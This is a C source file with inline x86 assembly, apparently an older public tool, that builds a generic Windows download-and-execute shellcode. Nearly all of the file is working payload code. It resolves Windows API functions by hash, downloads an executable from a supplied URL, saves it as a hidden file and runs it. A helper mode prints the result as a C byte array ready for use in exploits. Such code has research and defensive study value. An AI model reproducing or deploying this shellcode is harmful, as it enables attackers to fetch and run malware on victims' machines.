/* * Generic download/execute shellcode for win32. * * Overview * * Download an executable from a URL and execute it. * * Targets * * 95/98/ME/NT/2K/XP * * Usage * * $ download.exe * Usage: download.exe [test | cstyle] [url] * * To generate usable code: * * $ download.exe cstyle http://www.mysite.com/joe.exe * * The 'test' option will download a harmless executable * from 'http://www.hick.org/~mmiller/bob.exe' and run it. * * Notes * * 1) URL's must start with a protocol (like http). * 2) The code must run on an writable segment due to one of the symbol * hashes having a NULL. * * Disclaimer * * The author cannot be held responsible for how this code is used. * * Compile * * Optional defines * * /DUSE_KERNEL32_METHOD_PEB Resolve kernel32 using the PEB technique. * /DUSE_KERNEL32_METHOD_SEH Resolve kernel32 using the SEH technique. * /DUSE_KERNEL32_METHOD_TOPSTACK Resolve kernel32 using the TOPSTACK technique. * * cl download.c /link /debug * * skape * mmiller@hick.org */ #include #pragma warning(disable: 4068) #define EMIT_4_LITTLE_ENDIAN(a,b,c,d) __asm _emit a __asm _emit b __asm _emit c __asm _emit d void __declspec(naked) download_begin() { __asm { download: jmp initialize_url_bnc_1 // Jump to the first bounce point #include "generic.c" initialize_url_bnc_1: jmp initialize_url_bnc_2 // Jump to the second bounce point resolve_symbols_for_dll: lodsd // Load the current dword from esi into eax push eax // Push the hash as the second argument to find_function push edx // Push the base address of the current dll being loaded from call find_function // Call find_function mov [edi], eax // Store the return address in the current output buffer pointer add esp, 0x08 // Restore eight bytes to the stack. add edi, 0x04 // Add 4 bytes to the output buffer to move to the next slot cmp esi, ecx // Have we reached the end? jne resolve_symbols_for_dll // If not, continue loading resolve_symbols_for_dll_finished: ret // Return to the caller kernel32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA 0x04 EMIT_4_LITTLE_ENDIAN(0xa5,0x17,0x01,0x7c) // CreateFile 0x08 0x01 -> 0x00 EMIT_4_LITTLE_ENDIAN(0x1f,0x79,0x0a,0xe8) // WriteFile 0x0c EMIT_4_LITTLE_ENDIAN(0xfb,0x97,0xfd,0x0f) // CloseHandle 0x10 EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) // CreateProcessA 0x14 EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess 0x18 wininet_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0x29,0x44,0xe8,0x57) // InternetOpenA 0x1c EMIT_4_LITTLE_ENDIAN(0x49,0xed,0x0f,0x7e) // InternetOpenUrlA 0x20 EMIT_4_LITTLE_ENDIAN(0x8b,0x4b,0xe3,0x5f) // InternetReadFile 0x24 startup: pop esi // Grab the address of the download url from the stack sub esp, 0x7c // Give us some room to work. mov ebp, esp // Use ebp as our frame pointer. call find_kernel32 // Find the base address of kernel32.dll mov edx, eax // Save it in edx jmp get_absolute_address_forward // Jump forward past the middle get_absolute_address_middle: jmp get_absolute_address_end // Jump to the end now that we have our VMA on the stack get_absolute_address_forward: call get_absolute_address_middle // Call to the middle to push the VMA of 'pop eax' onto the stack get_absolute_address_end: pop eax // Pop the return address from the stack into eax jmp initialize_url_bnc_2_skip // Jump over the second bounce point initialize_url_bnc_2: jmp initialize_url_bnc_3 // Jump to bounce point 3 initialize_url_bnc_2_skip: copy_download_url: lea edi, [ebp + 0x40] // Set edi to the destination that will hold the URL copy_download_url_loop: movsb // Copy the current byte of the URL to the stack cmp byte ptr [esi - 0x01], 0xff // Have we hit 0xff yet? jne copy_download_url_loop // Nope...keep going copy_download_url_finished: dec edi // Decrement edi to point to the last byte not byte ptr [edi] // Invert the bits to point null terminate the string resolve_kernel32_symbols: mov esi, eax // Set esi to the absolute VMA of 'pop eax' sub esi, 0x3a // Subtract 0x3a to offset to the start of the hashes dec [esi + 0x06] // Fix the CreateFile hash to have a null (Note: requires writable segment) lea edi, [ebp + 0x04] // Load the effective address of the output buffer to hold the VMA's of the functions mov ecx, esi // Set ecx to the start of the hashes add ecx, 0x18 // Add 0x18 to signify the end point call resolve_symbols_for_dll // Resolve the kernel32.dll symbols resolve_wininet_symbols: add ecx, 0x0c // Add 0x0c to ecx to signify the end of the wininet.dll symbol hashes mov eax, 0x74656e01 // Set eax to '\0x01net' sar eax, 0x08 // Shift eax to the right 8 bits to add a null term push eax // Push 'net' push 0x696e6977 // Push 'wini' mov ebx, esp // Save the pointer to 'wininet' in ebx push ecx // Preserve ecx as it may be clobbered push edx // Preserve edx as it may be clobbered push ebx // Push the pointer to 'wininet' call [ebp + 0x04] // Call LoadLibraryA pop edx // Restore edx pop ecx // Restore ecx mov edx, eax // Set edx to the base address of wininet.dll call resolve_symbols_for_dll // Resolve the symbols for wininet.dll internet_open: xor eax, eax // Zero eax push eax // Flags push eax // Proxy bypass push eax // Proxy name push eax // Access type push eax // Agent name call [ebp + 0x1c] // Call InternetOpenA mov [ebp + 0x34], eax // Save the handle internet_open_url: xor eax, eax // Zero eax push eax // Context push eax // Flags push eax // Headers length push eax // Headers lea ebx, [ebp + 0x40] // Load the url address push ebx // Url push [ebp + 0x34] // InternetOpen handle call [ebp + 0x20] // Call InternetOpenUrlA mov [ebp + 0x38], eax // Save the handle jmp initialize_url_bnc_3_skip // Jump past the 3rd bounce point initialize_url_bnc_3: jmp initialize_url_bnc_4 // Jump past the 4th bounce point initialize_url_bnc_3_skip: create_file: xor eax, eax // Zero eax mov al, 0x65 // Set the low order byte of eax to 'e' push eax // Push 'e' push 0x78652e61 // Push 'a.ex' mov [ebp + 0x30], esp // Save the address of 'a.exe' xor eax, eax // Zero eax push eax // Template mov al, 0x82 // Set the flags to (FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN) push eax // Flags mov al, 0x02 // Set the disposition to CREATE_ALWAYS push eax // Disposition xor al, al // Zero al push eax // Security attributes push eax // Share mode mov al, 0x40 // Set al to 0x40 sal eax, 0x18 // Shift to the left 18 bits push eax // Desired access (GENERIC_WRITE) push [ebp + 0x30] // File name call [ebp + 0x08] // Call CreateFileA mov [ebp + 0x3c], eax // Save the file handle download_begin: xor eax, eax // Zero eax mov ax, 0x010c // Set eax to 268 sub esp, eax // Allocate 268 bytes of stackspace mov esi, esp // We'll use esi to track this frame download_loop: lea ebx, [esi + 0x04] // Load the address of our spot to holde bytes read into eax push ebx // Push our bytes read pointer mov ax, 0x0104 // Set eax to 260 push eax // We desire to read 260 bytes lea eax, [esi + 0x08] // Load the address of our buffer to hold data in push eax // Buffer push [ebp + 0x38] // Handle from InternetOpenUrlA call [ebp + 0x24] // Call InternetReadFile mov eax, [esi + 0x04] // Grab the number of bytes we read test eax, eax // We're testing to see if it's zero.. jz download_finished // If the ZF is set, we're done. download_write_file: xor eax, eax // Zero eax push eax // Overlapped lea eax, [esi + 0x04] // Load the address of our bytes written pointer push eax // Bytes written pointer push [esi + 0x04] // Bytes to write lea eax, [esi + 0x08] // Load the address of the buffer we just read data into push eax // Buffer push [ebp + 0x3c] // File handle call [ebp + 0x0c] // Call WriteFile jmp download_loop // Keep downloading download_finished: push [ebp + 0x3c] // File handle call [ebp + 0x10] // Call CloseHandle xor eax, eax // Zero eax mov ax, 0x010c // Set eax to 268 add esp, eax // Restore the stack jmp initialize_url_bnc_4_skip // Jump past bounce point 4 initialize_url_bnc_4: jmp initialize_url_bnc_end // Jump to the last bouncepoint initialize_url_bnc_4_skip: initialize_process: xor ecx, ecx // Zero ecx mov cl, 0x54 // Set ecx to 0x54 sub esp, ecx // Make room for STARTUPINFO(0x44)/PROCESS_INFORMATION(0x10) mov edi, esp // Preserve in edi zero_structs: xor eax, eax // We want to store 0 rep stosb // Repeat storing zero until ecx is 0 initialize_structs: mov edi, esp // Restore edi mov byte ptr [edi], 0x44 // Set cb to 0x44 execute_process: lea esi, [edi + 0x44] // Load the address of our PROCESS_INFORMATION starting point push esi // PROCESS_INFORMATION push edi // STARTUPINFO push eax // Startup Directory push eax // Environment push eax // Creation flags push eax // Inherit handles push eax // Thread attributes push eax // Process attributes push [ebp + 0x30] // Command line push eax // Module name call [ebp + 0x14] // Call CreateProcess exit_process: call [ebp + 0x18] // Call ExitProcess initialize_url_bnc_end: call startup // Call startup, pushing the pointer to the URL onto the stack } } void __declspec(naked) download_end() { // http://www.hick.org/~mmiller/bob.exe __asm { __emit 0x68 __emit 0x74 __emit 0x74 __emit 0x70 __emit 0x3a __emit 0x2f __emit 0x2f __emit 0x77 __emit 0x77 __emit 0x77 __emit 0x2e __emit 0x68 __emit 0x69 __emit 0x63 __emit 0x6b __emit 0x2e __emit 0x6f __emit 0x72 __emit 0x67 __emit 0x2f __emit 0x7e __emit 0x6d __emit 0x6d __emit 0x69 __emit 0x6c __emit 0x6c __emit 0x65 __emit 0x72 __emit 0x2f __emit 0x62 __emit 0x6f __emit 0x62 __emit 0x2e __emit 0x65 __emit 0x78 __emit 0x65 __emit 0xff } } void __declspec(naked) download_end_end() { __asm ret } int main(int argc, char **argv) { if (argc == 1) { fprintf(stdout, "Usage: %s [test | cstyle] [url]\n", argv[0]); return 0; } if (!strcmp(argv[1], "test")) { unsigned char *start = (unsigned char *)((unsigned char *)download_begin); unsigned char *stop = (unsigned char *)((unsigned char *)download_end_end); unsigned char *buf; unsigned long length; start += *(unsigned long *)((unsigned char *)download_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)download_end_end + 1) + 5; length = stop - start; buf = (unsigned char *)malloc(length); if (!buf) return 0; memcpy(buf, start, length); ((void (*)())buf)(); } else if (!strcmp(argv[1], "cstyle")) { unsigned long urlLength = ((argc == 3) ? strlen(argv[2]) : 0); unsigned char *start = (unsigned char *)((unsigned char *)download_begin); unsigned char *stop = (unsigned char *)((unsigned char *)download_end); unsigned char *stopNoUrl = (unsigned char *)((unsigned char *)download_end_end); unsigned char *c = NULL; unsigned long x = 0, length; // Calculate the actual address in memory of the begin/end function based off their relative jmp points. start += *(unsigned long *)((unsigned char *)download_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)download_end + 1) + 5; stopNoUrl += *(unsigned long *)((unsigned char *)download_end_end + 1) + 5; length = stop - start; // Include the default url if none was supplied if (!urlLength) length += stopNoUrl - stop; fprintf(stdout, "// %lu byte download/execute shellcode\n\n", length + urlLength + 1); fprintf(stdout, "unsigned char download[] = \""); for (c = start; x < length; x++) fprintf(stdout, "\\x%2.2x", c[x]); if (urlLength) { for (x = 0; x < urlLength; x++) fprintf(stdout, "\\x%2.2x", argv[2][x]); fprintf(stdout, "\\xff"); } fprintf(stdout, "\";\n\n"); } else fprintf(stdout, "%s: invalid option\n", argv[0]); return 1; }